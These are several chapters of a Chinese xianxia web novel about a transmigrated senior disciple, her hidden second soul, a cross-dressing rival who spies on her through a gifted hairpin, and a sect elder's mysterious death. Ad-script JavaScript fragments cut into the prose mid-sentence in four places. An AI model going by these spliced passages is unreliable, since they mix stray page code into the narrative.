徐听晚体内涌入三股迥异的灵力:石观明之水灵力,冷冽而汹涌;柳清云之木灵力,温润而内敛;至于江月平,则是那霸道而醇厚的天地之气,彰显其天灵根的非凡。 天灵根者,吸纳灵力后,丹田自会将其精炼为天地之气,故能引灵力汇聚,修炼之路更为顺畅。 徐听晚竭力协调着三股灵力,尽管她拥有修炼的记忆,但实际操作起来仍显生疏。 识海中的女子轻声指引:“东南方向。” 徐听晚迅速掷出一张巽卦符咒,直指东南。面对同时操控阵法、绘制符咒与调节灵力的挑战,她显得有些手忙脚乱,额头渗出了细密的汗珠,气氛紧绷至极。 火矢攻势未减,符笔已经炸毛,变得更难控制,她已感力竭。 就在这时,无人能看见,徐听晚识海里的女子突然现身,紧握她的手,完全接管了身体。 徐听晚目光一凛,随后只见动作流畅自如,火矢逐渐减弱,最终平息。 玄天剑宗的援军也在这时赶到。 江月平望着徐听晚,解释道:“是我用书卷求援的。” 她冷冷地回望,语气冷漠:“我不需要救援,我一人足以引领众人脱困。” 言罢,徐听晚重新掌控了自己的身体,对江月平投以歉意的目光。 江月平未予理会,径直走向玄天剑宗的同门,躬身致谢:“多谢玄天剑宗的道友 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 相救。” 徐听晚转向识海中的女子,略带责备:“你说话何必那么冲。” 女子未予回应,只是淡淡地说:“我能助你五次,之后我们将融合,未来的路需你独自前行。” “这是何意?”徐听晚追问。 “两魂相融,掌控身体时间最长者为主魂。如今,我只能再助你三次了。” 女子不再说话,徐听晚则陷入了沉思。 那……她从一开始便放弃了? 在外人眼中,徐听晚孤独地伫立了许久。 石观明轻轻地扶住她的肩膀,让她从恍惚中回过神来。她转头瞥了他一眼,随即便任由他扶着登上了另一个云舟。 江月平漠然地看着这一场景,回想起先前徐听晚紧紧拥抱她的那一刻,不禁皱起了眉头。 那一刻,她的发丝与大师姐的发丝相互纠缠,她能清晰地感受到她的心跳。 她重哼一声,语气中带着几分不满:“大师姐真是随性,即便我是女子,便可随意拥抱吗?” 柳清云微笑着为大师姐辩解:“我觉得大师姐的性情比以前温和了许多。” 江月平缓缓转头,目光戏谑地逼近他:“莫非,你对她有好感了?” 柳清云脸颊微红,连忙后退几步,连声否认:“没有,绝对没有。大师姐的脾气你又不是不知道,我刚入门那会儿,她常骂我笨,我可怕她了。” 他说话时,目光紧盯着对面的她。 江月平眼帘微垂,嘴角勾起一抹淡笑,那笑容转瞬即逝,仿佛只是风中的一缕轻烟。 若非自己明确的看见了,柳清云几乎要怀疑是否是自己的幻想。 他心中暗想,小师妹定是在意自己,才会因自己为大师姐说话而心生醋意。 他忍不住勾起嘴角,耳尖泛红。 江月平的思绪不时被刚才的拥抱所侵扰,她抬眼与徐听晚的目光交汇,随即烦躁地移开视线。 徐听晚误以为自己刚才说话太冲,让江月平不悦,便没有立即上前自讨没趣,打算待抵达北城后再向她致歉。 徐听晚沉声问道:“你为何不愿作为主魂体继续存在?” 识海里的女子的声音冷漠:“我厌恶所有人,单纯厌人。” “不是,我说认真的。”徐听晚坚持道。 “无趣罢了,况且我已知晓自己的终局。”女子淡漠回应。 “但知晓了未来,或许能改写命运。” “麻烦死了,你怎么这么蠢啊,我最讨厌蠢人了,你劝我争夺主魂体干什么,不想活了?”女子的回答透着不耐。 “哎,我们不是一个人吗…我就是有些好奇……”徐听晚轻叹,后续的话语却淹没在沉默之中。 自此,后面无论徐听晚说什么,识海中的女子再未给予任何回应。 6. 上北城 “剑宗已为各宗各家的客人,安排好了客栈,请各位随我移步。” 徐听晚四人跟着剑宗弟子走进一家客栈,一楼酒桌坐的全是各宗各家派来的亲传与主脉子弟。 玄天剑宗给五行道宗安排了两间屋子。 因为大多数宗门,世家都只派了两个人,只有少数派了三个人四个人,所以都是安排的两个房间。 徐听晚好奇打量着周围,她大致能通过记忆,知道每个酒桌上的是哪宗哪家。 现在天河大陆分为六大宗,五小宗和六世家。 六大宗与五小宗相互依存,以下是书卷上的宗门排名: 第一宗门:五行道宗,地处中枢——银月城,无主修,无宗服,无附属小宗。 第二宗门:玄天剑宗,地处北边——上北城,主剑修,宗服色白,附属小宗为剑竹宗,宗服色青。 第三宗门:沧澜符宗,地处南边——下南城,主符修,宗服黑白,附属小宗为问书宗,宗服色黑。 第四宗门:啸海兽宗,地处西南——西南城,主御兽,宗服色紫,附属小宗为西陵宗,宗服淡紫。 第五宗门:泽明器宗,地处东边——右东城,主器修,宗服红黑,附属小宗为宝灵宗,宗服色红。 第六宗门:混元丹宗,地处东南——东南城,主丹修,宗服明黄,附属小宗为万药宗,宗服淡黄。 六大世家: 东北:剑修温家。 西部:丹修梅兰两家、符修王家。 西北:器修叶家、御兽林家。 “大师姐,房间分配可有定数?”石观明的话语打断了徐听晚的思绪。 她未直接回应,目光转向江月平,语气柔和:“小师妹,若你不介意,两男共室,两女同寝,如何?若你不习惯,我便与观明同住,你则与清云为伴。” 石观明与柳清云眼中闪过一抹喜色,深知小师妹断不会与大师姐共处一室。 江月平轻瞥二人一眼,轻笑:“我不介意。” 此言一出,二人愕然,缓缓转头,相视而笑。 “二师兄,咱俩同住,也不错。”柳清云苦笑中带着释然。 “嗯。”石观明浅笑依旧,柳清云却隐约觉得他有些不悦。 徐听晚惊讶地望着江月平,心中涌起一股喜悦,欲伸手相握,却被她灵巧地避开了。 她略显尴尬地收回手,贴近江月平耳畔轻声细语:“大师姐方才说话有些冲,望你莫往心里去。” 江月平闻言,猛然间后退一步。 她并未听清徐听晚的全部话语,只是心中烦躁,眉头轻蹙,随意应了一声:“嗯。” 听到回应,徐听晚满心欢喜,将自己珍爱的一枚青玉银蝶发簪,悄然置于江月平掌中。 江月平凝视着手中的簪子,不自觉地紧握于掌中。 徐听晚背对酒桌,悄然侧目,对江月平皱了皱鼻子,随即嘴角勾起一抹笑意。 “我真的超爱这支簪子,是不是特别好看!但这上面的青玉,我觉得更适合小师妹。” 江月平的目光从簪子移向徐听晚的脸庞,环顾四周,徐听晚此刻侧首嬉笑的模样,只有她一人能看见,柳清云与石观明皆未察觉。 她强压下心头莫名的情绪,面容平静,淡然回应:“嗯。” 徐听晚细细端详着江月平,盯着她右眼的泪痣看了一会。 江月平在心中默念:现在还不是她的对手,先顺着她。 思绪飘回往昔,初入宗门之时,她几乎成了徐听晚的“陪练”,日日以比试之名被拉至训练场受训;剑冢择剑,精心挑选的灵剑竟被她轻易击飞;还诬陷她偷取了她的储物袋;历练所得寒雪笔,也被她强行夺走;言语上的侮辱,与之相比,简直不值一提……念及此,江月平面无波澜,淡淡瞥了徐听晚一眼,随即迈步前行。 “唉,小师妹,走这么快干什么,你右眼的泪痣很好看唉。” 江月平忆起储物袋中那支归还的寒雪笔,以及云舟之上徐听晚画炸毛的符笔,她不由自主地放慢了脚步。 “大师姐,别忘了去买一支新的符笔。” 徐听晚笑着与江月平一起推门进入房间,柳清云与石观明站在门口相顾无言。 江月平在一旁静读,徐听晚则凝视窗外熙攘人流。 上北城少了银玉城的喧嚣,人们低语慢行,氛围宁静,性格随性。 秋风越发寒凉,轻述着秋季最后的告别。 别的地方正值晚秋,这里已经冷的不像秋季。 细雨突现,徐听晚伸出手感觉到了一片湿润。 “下雨了?不对!” 她愕然仰首,周遭行人原本从容的步伐瞬间变得急促,纷纷加快脚步离去。 “初雪!” 一名路过的行人高兴的大声宣告。 “不是雨,是雪!小师妹下初雪了!” 徐听晚调动灵力,轻轻包裹住一片飘落的雪花,凑近眼前细细端详。 江月平合上书,静静的盯着窗户,雪越下越大。 在上北城,雪并不稀奇。 此地的冬季很长,这样的雪通常要下很久很久。 但初雪尤为特别,这里有个习俗,初雪之日,需奔向恋人,共赏雪景,寓意携手共度严冬,祈愿平安。 江月平眼眶中倒映的人影缓缓转动,她悄无声息地将所有视线移向了窗外的雪景。 徐听晚的眼眸轻轻垂下,清冷惹怜。 “小师妹,对不起。” 江月平压下心中的纠结,脸上挂着一抹淡然。 “之前因我内心的嫉妒作祟,对你多有不善之处。” “日后若你有任何需要协助之处,大师姐定当全力以赴。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 徐听晚一鼓作气说完,满含期待的抬眸盯着江月平。 “嗯。” 江月平清冷地应着,她端坐在那里,修长的颈项与白皙的肌肤,无不散发着一种孤高清冷的气质。 徐听晚心中暗自感叹,小师妹真好看,不愧是在后面秘境对决剧情中,一举夺下书卷美人排名第一的人。 她轻抚自己的脸庞,随后起身走向屋内的铜镜。 镜中的徐听晚皮肤白皙,眉眼偏浓,浅瞳平唇,像是浓墨倾倒在河流。 在另一时空,她凭借这份样貌,做模特完成了自己的大学学业。 来到这个世界,拥有灵力的她,虽然样貌一模一样,但全身的皮肤更加细腻,眼睛更加清澈。 那段秘境对决的剧情也让她成了书卷美人排名第三。 “小师妹,你瞧,我的瞳色很浅,而你的很深。” “浅色很好看。” 徐听晚闻言,一时怔愣,随即嘴角不自觉地上扬,满心欢喜。 江月平轻步上前,拿出她赠予的发簪,把发簪上的青玉摘下,将一颗浅黄色玉珠用灵力震碎成和青玉大小差不多的样子。 然后以灵力巧妙镶嵌,轻轻插入徐听晚的发髻之中。 面对铜镜中徐听晚满含喜悦的目光,江月平心中微动,旋即不着痕迹地移开视线。 “小师妹,你的眼光真好,若你不喜欢发簪,大师姐下次给你带别的东西,听说东南城的酥花糖特别好吃,有机会过去,大师姐给你们每个人带一份。” 这浅黄玉珠内藏玄机,嵌有可以监视的留影石,即便是修为高深之人也难以察觉。 江月平心中暗道:不过是为了让她戴着簪子。 “大师姐,戴上这发簪真好看。” 她不指望徐听晚时时刻刻戴着,留有监视的机会便好。 徐听晚笑靥如花,凝视着镜中的自己,心中更是欢喜不已。 她所喜的,不只是簪子,更是小师妹对她态度的缓和。 但她不知,其实这些只是江月平对她高修为的妥协和忍耐。 “那我便日日佩戴这黄玉银蝶簪,以不负小师妹的一番心意。”徐听晚的话语中满是感激。 江月平微微一愣,眼眸轻闪,“大师姐喜欢便好,我去修炼一会。” 言罢,她转身走向一旁的硬榻,开始静心打坐。 “嗯,我看会阵法书。”徐听晚心中暗自揣摩,方才小师妹似乎有些慌张。 江月平闭目凝神,脑海中却不由自主地浮现出,徐听晚那双含笑凝视着自己的浅棕眼眸。她暗自恼恨,自己为什么会想这既恶毒又自私之人! 思绪飘回往昔,徐听晚曾无情地踩在她的手臂上,以灵力压制在地,让她屈辱不堪。 江月平的心渐渐沉了下去,暗自发誓,所有曾欺辱过她的人,终将付出代价。 7. 初雪缘 敲门声骤响,徐听晚瞥向一旁静修的江月平,旋即疾步上前,轻启门扉。 石观明站在门口。 他刚想开口,就被徐听晚迅速掩其口,低语提醒:“小点声,小师妹在修炼。” 石观明颔首,以气声提议:“大师姐,我们去看初雪吧。” 窗外雪花纷飞,景致诱人,徐听晚心动应允,关门后紧随石观明步伐。 途中偶遇柳清云,徐听晚唤道:“四师弟!” 柳清云身披斗篷,笑语相迎:“大师姐,二师兄,你们去干嘛。” “看初雪啊,要一起吗?”徐听晚诚挚相邀。 柳清云见状,瞥见石观明神色微变,连忙摆手:“不用,不用,我叫小师妹,看她去不去。” 徐听晚忧虑道:“小师妹在修炼会不会打扰到她。” 石观明宽慰道:“他俩关系好,没事的。” 柳清云连连称是,徐听晚亦点头应允:“好,那我们走了。” 房间内,江月平缓缓睁开眼帘,指尖轻捻,又一枚留影石跃然掌中,随即,徐听晚视角的画面出现。 “咚咚咚。”门外响起清脆的敲门声。 江月平轻触留影石,令其归于沉寂,随后步至门前,拉开。 柳清云面颊绯红,略显羞涩地启齿:“小师妹,你可知道上北城初雪时的一个独特习俗?” 江月平面色淡然,简洁应道:“知晓。” 此言一出,柳清云不禁怔住,原本欲出口的邀请与心意,此刻却似被无形之墙阻隔。 对于小师妹知道这个习俗,柳清云心中五味杂陈,直接相邀与间接表白之间,界限模糊,令他难以启齿。 踌躇半晌,言辞始终未能成形,终是江月平略显不耐地打断:“若无他事,我便要继续修炼了。” 言毕,门扉轰然关闭,隔绝了一切未尽之言。 门内,留影石的光芒再次亮起;门外,柳清云目光低垂,转身回到旁边房间,卸下斗篷,缓步至窗边。 恰在此时,窗外景致映入眼帘——徐听晚与石观明并肩而行,笑语盈盈,渐行渐远。 徐听晚因灵力护体几乎感觉不到寒冷。 风雪却愈发肆虐,雪花在两人身上渐渐累积。 她转头望向石观明,只见其发梢、鼻尖、睫毛皆被白雪覆盖。 “哈哈哈哈,观明!你要变成雪人了。 徐听晚笑语盈盈。 石观明回以温暖一笑:“你也一样。” 徐听晚猛然抽出判决剑,剑尖轻旋,带起一阵剑风,雪花随之翩翩起舞,在空中划出一道道晶莹的轨迹。 “看!”她挑眉示意石观明,后者眼神微怔,仿佛穿越回了往昔,那时的大师姐正是这般意气风发。 自幼相伴的两人,石观明深知徐听晚背后的辛酸,师父师母的苛责与打骂,他曾私下告诉他人,却无人愿信。 他目睹了大师姐从活泼开朗逐渐变得沉默寡言,甚至显露出的嫉妒之心,但唯有他,铭记着那个纯真不羁、肆意挥洒的徐听晚。 此时的她,与初相识的她身影重叠,让石观明不由自主地伸出手,想要触摸,却自己停在半空,只接了满手飘雪。 “大师姐,你知道上北城关于初雪的一个习俗吗?” 话音未落,一条纤细的白龙自石观明的储物袋中猛然窜出,轻巧地跃至徐听晚面前。 徐听晚心中虽惊涛骇浪,面上却尽力保持平静,温声道:“浅云,好久不见。” 白龙闻言,亲昵轻轻地在她肩头蹭了蹭 提及此龙,不得不提其渊源。 徐听晚的父亲徐君彦,于银月城一隅的宁静村落中,偶然发现了这条白龙。 而石观明,便是被这神秘白龙抚养长大,二者之间缔结了血契,命运相连。 徐君彦只好将他带回宗门收为亲传。 徐听晚目光流转,与石观明交汇,随即轻轻摇头,答道:"我不知道有什么习俗,但刚看见初雪纷飞,不知为何,众人皆匆匆离开。” 石观明迅速将白龙拉回身边,笑道:“其实没什么特别的习俗。” “浅云想玩雪,我便放它出来。没想到它却一直去黏你。” 徐听晚闻言,嘴角轻扬:“无妨,那就一起玩吧。不如,我们来堆个雪人如何?” “好。”石观明爽快应允。 “不过,你刚才提到的习俗,到底是什么呢?说来听听呗。”徐听晚好奇追问。 石观明摆了摆手,笑道:“说起来麻烦,就不说了。” “哎呀,你这人不说到底,又要提。” …… 徐听晚轻叩门扉,江月平那不带丝毫情感的声音透过门缝传来:“请进。” 她推开门,走进房间,四周被夜色吞噬,一片漆黑。 冬日天黑的快,即便是短暂的外出,归来时也已夜幕深沉。 “小师妹,为何不点灯?”徐听晚轻声问道。 “无妨,身为修士,黑暗也能视物。”江月平的回答平静而淡然,但徐听晚却察觉到一丝异样。 徐听晚感觉江月平的声音怪怪的,虽然修士能在黑暗中看清。 可只有化神期修士才能在黑暗中洞察秋毫,而化神期以下,仅能辨明轮廓。 “小师妹,可是有人惹你不开心了。” 徐听晚关切地询问,同时以特制的点火灵器逐一点亮室内的烛火。 江月平的眼神微微闪烁,随后眉头紧锁,淡淡回应:“并无。” 徐听晚感受到一丝尴尬,急忙在脑海中搜寻话题,忽而忆起一事,遂开口问道:“小师妹,你可曾知晓上北城初雪的习俗?” 江月平转头望向徐听晚,目光锐利:“不知道。” “好吧,我也不知,只是你二师兄略提一二,却未细说。本想若你知晓,便能告诉我。”徐听晚略显失望地说道。 江月平嘴角上扬,语气中带着一丝歉意:“抱歉,我也不知。” “无妨。”徐听晚宽慰道,目光转向室内唯一的大床,“小师妹,你此刻可要歇息?” 江月平轻轻摇头。 徐听晚随即摘下发簪,退下外衣,脱下鞋履,爬上床铺,略显疲惫地说道:“我有些累了,先行歇息。我睡内侧,为你留了地方。你放心,我睡相很好。晚安,小师妹。” 言罢,她盖好被子,平躺闭目,不久便沉入梦乡。 今日云舟之行,确实让她疲惫不堪。 最后一抹烛火悄然熄灭,月光愈发皎洁,照亮了整个空间。 寂静的夜晚被一阵沉重的喘息声撕裂,江月平紧捂胸口,血液在喉间涌动。 他颤抖着手 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,自储物袋中取出一枚玉瓶,倾倒出一粒丹药,迅速吞入腹中。 随着丹药入腹,江月平的容颜微变,身形逐渐拉长,喉结凸显,月光映照在他汗涔涔的脸庞上,显得格外坚毅。 五行道宗的天灵根小师妹,实则为一个男人,这一秘密,无人知晓。 汗水自额间滑落,压过眉梢,轻撞他半垂的睫毛,最终滴落在地。 骨骼与肌肉的剧烈变化带来难以言喻的痛苦,遍布全身,连嘴唇都因酸痛而显得麻木。 无人可知那被突然灭门的江大医馆,其女主人的七岁幼子,正是今日的江月平。 他每每做梦,总会浮现母亲将转变性别的丹药交予自己的残忍画面。 母亲性情温婉,广结善缘,不知为何会惹上仇敌,惨遭灭门。 母亲临终遗言,唯愿他隐匿身份,安然度日。江月平苦笑一声,这苟延残喘的日子与死去何异? 复仇是支撑他活着唯一的东西。 一个时辰过去,痛苦逐渐淡去,江月平再次服下丹药,身形转瞬恢复为女子之态。 她简单施了个净身术,仿佛一切纷扰未曾发生,随即静心凝神,开始打坐修炼。 四人清晨即随玄天剑宗弟子,抵达失踪长老居所。 “小师妹,你今日面色略显苍白。”柳清云关切地望着江月平。 徐听晚闻声靠近,轻声询问:“师妹,怎么了,可是因为昨天一路奔波后,晚上并未休息?” 想到江月平可能是介意和她睡在一起,但又不好意思说,遂体贴地说:“我今夜需修炼,无需安歇,你大可安心休息。” 江月平轻轻摇头:“无妨,只是修炼时灵力稍有失控。” 徐听晚闻言,眉头紧锁:“此事非同小可,修炼切忌急功近利,否则易走火入魔,后果不堪设想。你应叫醒我,我好为你护法。” “多谢大师姐关心,我已无事。” 徐听晚自储物袋中取出一颗五万年的珍稀灵果,递予江月平,轻声道:“吃了,补充一下灵力。” 柳清云目睹此景,瞠目结舌,心中暗呼:“额滴亲娘嘞,万年灵果就这样吃了?” 石观明也难掩惊讶,频眨双眼。灵果虽非罕见,但高年份者实属凤毛麟角,且往往伴有凶悍妖兽守护,得之极为不易。 “就这样给了小师妹?” “两人真握手言和了?” 徐听晚留意到二人神色,旋即又取出两颗万年灵果,笑道:“都有份,大师姐不偏心。” 柳清云接过灵果,心中暖流涌动,感激地望向徐听晚。 大师姐给他灵果,真好,大师姐好久没骂他蠢货了,真好。 江月平食下灵果后,气色显著好转。 她不经意间瞥见徐听晚发间那支发簪。 今日一早她便戴上了。 而徐听晚正环顾四周,全然未察觉到江月平面上的微妙变化。 各宗弟子和世家子弟分别去了不同的地方调查。 柳清云轻轻拈起一幅山水画卷,抬起画卷,看了看背面。 “看来方长老很喜欢画画,此作应是他的最近所画的。” 窗外的光线打在画作之上,画作阴影却十分模糊。 石观明眉头微蹙,眼神锐利地聚焦于柳清云手中的画作,沉声道:“且慢。” 8. 香囊 徐听晚本欲置身事外,仅作旁观,未料石观明竟真有惊人发现。 他指尖轻触画框边缘,轻轻一撕,整幅画竟如纸般剥离,露出背后一幅令人瞠目的美人群浴图景。 现场气氛瞬间凝固,两名随行的玄天剑宗内门弟子,面露难以置信之色,瞪大了眼睛。 “快叫孟师兄前来。” 江月平留意到两名弟子眼中的惶恐,不禁询问道:“何故如此惊慌?” 一名弟子颤抖着声音解释道:“方长老平素温文尔雅,对女弟子尤为宽容,但这画……” 另一名弟子接过话头:“更关键的是,画中左侧那位女子,乃是两年前外出历练时失踪的孟师兄胞妹孟虞,内门中常有传言,说她的魂魄徘徊不散……” 二人言语间满是惧意,叙述时断断续续。徐听晚不耐地打断,直接问道:“这位孟师兄,莫非是玄天剑宗的亲传大师兄孟鹤?” “正是。” “方长老全名如何?” “方引之。” “那女子姓名?” “孟虞。” 徐听晚闻言点头,目光转而落在旁边敞开的衣柜与摆放整齐的内门弟子名单上。 但有一件玄天剑宗长老的宗服外衣被随意搭在木椅背上,显得格外突兀,与周遭的井然有序格格不入。 徐听晚轻轻翻开一本内门弟子的名录,其上详尽记载着众多弟子的信息。 “这…我可以翻阅吗?”翻阅至半,她忽觉不妥,毕竟身为别宗弟子,窥探他宗内情或许不妥。 两名内门弟子交换了一个眼神,略显迟疑,但其中一人见徐听晚已阅半册,便道:“掌门并未禁止查看,道友若有兴趣,自可继续。” 另一弟子则自信满满:“剑宗弟子,皆光明磊落,无需遮掩。” 闻言,石观明,柳清云和江月平三人的目光转向一旁的美人群浴图景画,略显尴尬。 一弟子连忙澄清:“此画绝非方长老所作。” 另一人附和:“定是他人赠予方长老的。” 徐听晚未加理会,继续翻阅名录,淡淡道:“确实并非他所画。” “玄天剑宗内门名录,岂是你一介外宗弟子所能随意翻阅!”孟鹤突然出现严厉地看向徐听晚。 徐听晚无奈一笑,当着孟鹤的面,将手中两本名册放下。 柳清云刚好站至她身旁,巧妙地为她遮挡视线,她手腕微动,其中一本名册便悄然滑入宽大的衣袖之中。 她退后几步,站在石观明旁边,耸肩笑道:“抱歉,既然不便,那就不看了,我只是好奇罢了。” 说着,她背着手轻扯石观明后面的衣服,两人默契地以背手的姿势完成了名册的传递。 此时,浅云从储物袋中探出头来,好奇地叫唤两声,引得众人侧目。 石观明尴尬一笑,将浅云按回袋中,顺势将名册塞入其口中,笑道:“浅云对迷香敏感,诸位莫怪。” 徐听晚轻挑秀眉,疑惑道:“迷香?” 石观明缓步至方长老休憩之榻旁,轻轻掀开枕头,一枚香囊悄然显现。 “此香囊内含孤芳、酸灵、晨月和止青这些都是能安神的灵草灵花,本是静心之物,却混入了与孤芳气息相仿的苦枯菊,此乃药性猛烈之迷药,过量吸入恐致人心神失控,乃至走火入魔。” 孟鹤沉声问道:“这是那白龙所闻到的?” 石观明嘴角微扬,谦逊道:“在下略通香料之道,儿时饱受梦魇与识海混乱之苦,也算久病成医。” “你确信香囊中藏有此物?”孟鹤目光如刃,紧盯着石观明。 徐听晚眉头微蹙,挺身而出,挡在石观明前:“真伪与否,唤一丹修弟子查验便是,何须如此审问?” 柳清云适时插话,“我便是丹修,我来看。” 徐听晚回以孟鹤方才那凛冽目光,气氛一时凝滞。 江月平见状,对两名剑宗内门弟子吩咐道:“你二人上前,将香囊打开查看。” 剑宗弟子面面相觑,望向孟鹤,不敢擅动。 孟鹤拳头微紧,徐听晚挑眉反问:“怎么?不是你们剑宗邀请我们来陪查的吗?怎么这不能碰,那不能看的,还是说你玄天剑宗看不起我五行道宗!” 言罢,徐听晚金丹巅峰之威压不经意间流露,即便孟鹤身为男主,此刻在她这位前期恶毒女配兼小boss面前,也是有些招架不住。 孟鹤轻抬手,示意两名内门弟子解开香囊,内里灵草与灵花交杂在一起,十分混乱。 柳清云微微挑眉,指向那些细小如米粒之物:“这是苦枯菊的种子,这份量闻半月恐怕便会走火入魔了。” 众人闻言,纷纷掩鼻。 徐听晚目光挑衅地掠过孟鹤,言道:“上北城林中发现方长老遗体,言其与魔修激战而亡,无声无息。然而在我看来方长老的房间如此整洁且一丝不苟,怎会遗衣于椅背而不收?其丧命之地,究竟在外,还是房间?你们真能确定?” 两名剑宗弟子目瞪口呆,孟鹤则淡然挑眉,似觉其言有趣。 他强压心绪,缓缓道:“众人皆忙于探寻魔修如何绕阵而入,唯五行道宗亲传独辟蹊径,来此探查。外面人都称五行道宗亲传来此调查是为了偷懒和浑水摸鱼。” 徐听晚微蹙眉头,反问:“是又如何,不是又如何,如今发现的这两个东西,不算对调查的帮助吗?” 言罢,她环视众人,眼中自信满满,深知此刻在场众人皆非她敌手。 孟鹤嘴角微扬,轻描淡写地说:“自然有帮助。” 他旋身面向两名内门弟子,简洁明了地吩咐:“将香囊呈予师父。” 随后,他目光深邃地凝视着那幅描绘美人共浴的画作,双拳不自觉地紧握。 “此人,该死,不是吗?” 言毕,他侧首望向徐听晚,眼神中透露出几分复杂。 徐听晚眉头微蹙,目光掠过那幅画,心中念及他失去至亲之痛,便未再反驳,只是低声回应:“我不知道。” 本身她是不想掺和此事的,可其中谜团确实有些勾引她去探索。 “你拿着这幅画干什么?”徐听晚开口询问。 “这是他伤害我妹妹的铁证。”孟鹤目光沉稳地回应,直视着她。 徐听晚没有说话。 他收起画继续道:“是你找到的吗?” 徐听晚轻轻摆手,指尖微曲,指向石观明:“是我的师弟所发现。” 言毕,她瞥向江月平,心中暗自嘀咕,男女主角初次相见,怎就如此沉默寡言。 孟鹤眉头紧锁,眼帘半垂:“抱歉,方才情绪失控,只因这画触动了我的愤怒。” 徐听晚淡然摆手:“无妨,你带我们前往发现尸体的地点吧。” 孟鹤点头应允,此时江月平突然 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 发声:“且慢。 她踏上一块地砖,轻踏几下,随后抽出铁剑,精准地插入地砖缝隙,将其撬开。 一块看似普通的石头,被手帕包裹,隐匿于此。 徐听晚惊讶之余,问道:“小师妹,你是如何察觉的?” 江月平淡然解释:“天灵根能感知灵力波动,此地砖上的灵力流动异常。” 孟鹤随着其他人目光皆转向徐听晚。 徐听晚眉头微蹙,对孟鹤说:“除香囊外,画与这石头之事,暂且保密,这些都交予你掌门师父保管。” 她心中暗想,玄天剑宗的亲传大师兄,竟还需她来提醒。 望着孟鹤,她不禁腹诽,果然,这闺蜜的男友,怎看都不顺眼。 如此木讷,怎配得上她的小师妹。 抵达发现方引之的现场,众多宗门与世家子弟已汇聚于此。 “孟兄,我们彻查了所有阵法接口,均完好无损,无丝毫缝隙,魔修绝不可能悄无声息地渗透。” 孟鹤紧锁眉头,审视着周遭残留的魔气,若非刻意保留,这些魔气早已消散无踪。 “看来,魔修定有他法。” 徐听晚缓步至一树旁,轻抚其上剑痕 江月平随后而至,指向剑痕深处分析:“两道剑痕,灵力迥异。上者火木灵力相融,显为火木双灵根所留;下者灵力驳杂,似含魔气。” 正此时,世家子弟中传来急报:“阵法中的漏洞已寻得,魔修应是从此潜入!” 徐听晚与江月平闻言,抬头望向众人,孟鹤亦投来询问的目光。 徐听晚轻轻摆手,示意他自行去查看。 她继续专注于树干剑痕,指出:“此剑痕,出自左手执剑者之手。” 江月平挑眉询问缘由,徐听晚解释道:“左手执剑者,无论内砍外砍,剑气均显短促,此剑痕正是此特征。” 这些信息,皆源自她识海中的那位神秘女子。 江月平细察两道剑气痕迹,确如徐听晚所言。 徐听晚又尝试模拟第二道剑痕的出剑方式,眉头紧锁:“此剑痕杂乱无章,手位明显偏高。” 江月平不解,演示正常下砍动作:“这不挺正常吗?” 徐听晚摇头,握住她的手,示范从下往上斜砍:“他应是如此出剑。” 说罢,她松开手,指向剑痕:“看这剑痕下深上浅,唯有从下向上砍才能形成。但练剑者皆知,剑气需蓄力,此招力气不足,且攻击点偏下,威力有限。” 江月平瞪大了眼睛,难以置信地望着徐听晚轻轻颔首,她小心翼翼地问道:“大师姐,可有头绪了?” 徐听晚从容不迫地取出留影石,将其景象记录下来,嘴角微扬道:“我想我已经搞清楚了一大半。” 石观明见状,连忙拉住她欲离去的衣袖,急声问道:“你这是要去哪儿?” 徐听晚手指远方玄天剑宗的方向,简洁明了地说:“你们在此稍候,我即刻便回。” 三人目送着她缓缓御剑远去,直至身影消失在视线尽头。 柳清云耸了耸肩,提议道:“或许我该去孟鹤那边瞧瞧,他看起来有些不对劲。” 石观明眉头紧锁,低声说道:“这里弥漫着苦枯菊的气息。” 柳清云环顾四周,神色紧张:“二师兄,你别吓我。” 江月平不解地问道:“苦枯菊的气息有何不妥?” 9. 判决 柳清云解释道:“苦枯菊,生于腐尸之地,聚阴尸之气而生,以腐肉为食而开花,其香甘甜,与孤芳草相似,易混淆视听。” 江月平紧蹙眉头:“二师兄,你是说附近有腐尸的气息?” 柳清云闻言,眼中闪过一丝害怕,他轻轻点头,目光转向石观明,拽了拽他的衣袖,声音微颤:“二师兄,你真的感觉到了?别吓我。” 石观明手指左侧密林,语气坚定:“那香气正是从那边传来,我去探个究竟。你若害怕,便与小师妹在此等候。” 柳清云瞥了江月平一眼,故作镇定:“我才没怕,我是要陪小师妹。你先去查看,若有异常再唤我们。” 江月平在一旁沉默不语,心中暗自梳理着之前的线索。 石观明看着柳清云轻笑一声,随即步入密林深处,身影渐隐,四周却异常寂静。 过了许久,都没有石观明的动静,江月平转头望向他离去的方向,眼神骤变,只见微弱水灵力混合在寻常灵力里,仿佛即将枯竭的溪流。 她毫不犹豫,拔剑而出,身形一闪,向密林深处疾驰。 柳清云一时不察,江月平已远去,他连忙加快脚步,紧随其后。 忽地,一道黑影自江月平身后突袭,猛力一推。 柳清云因速度不及,只能远远目睹,惊骇之余,他迅速贴上敛息符,藏于树丛之中。 时间仿佛凝固,直至徐听晚的呼唤声穿透寂静,柳清云猛然起身,高声回应:“大师姐,我们在这里!快来救我们!” 他边喊边奔向徐听晚的方向。 徐听晚见柳清云衣衫不整,神色慌张,轻轻拂去他发间的落叶,关切问道:“他们呢?” 柳清云紧紧抓住徐听晚的衣袖,急切地说:“大师姐,快跟我来!他们被黑衣人推下断崖了!” 两人抵达断崖边,小师妹正奋力支撑,左手紧拽着昏迷的石观明,右手剑光闪烁,对抗那双目赤红的双头恶犬。 柳清云欲跃下相助,却被徐听晚猛然拽住衣领,甩至一旁。 “蠢货!你一个丹修下去有什么用,你大师姐在这,轮不到你跳!” 言毕,她身形一展,判决剑出鞘,凌空而下,轻盈踏剑,缓缓降落。 恶犬逼近江月平之际,徐听晚横剑格挡,恶犬双头分袭,一头咬住剑锋,一头则咬住她的手腕,鲜血淋漓。 她迅速用左手将火炸符符甩入恶犬巨口,爆炸让恶犬松开了口,她右手微麻。 护体灵力被震碎大半,初冬的冷风一下子灌入她体内,她忍不住打了个寒颤。 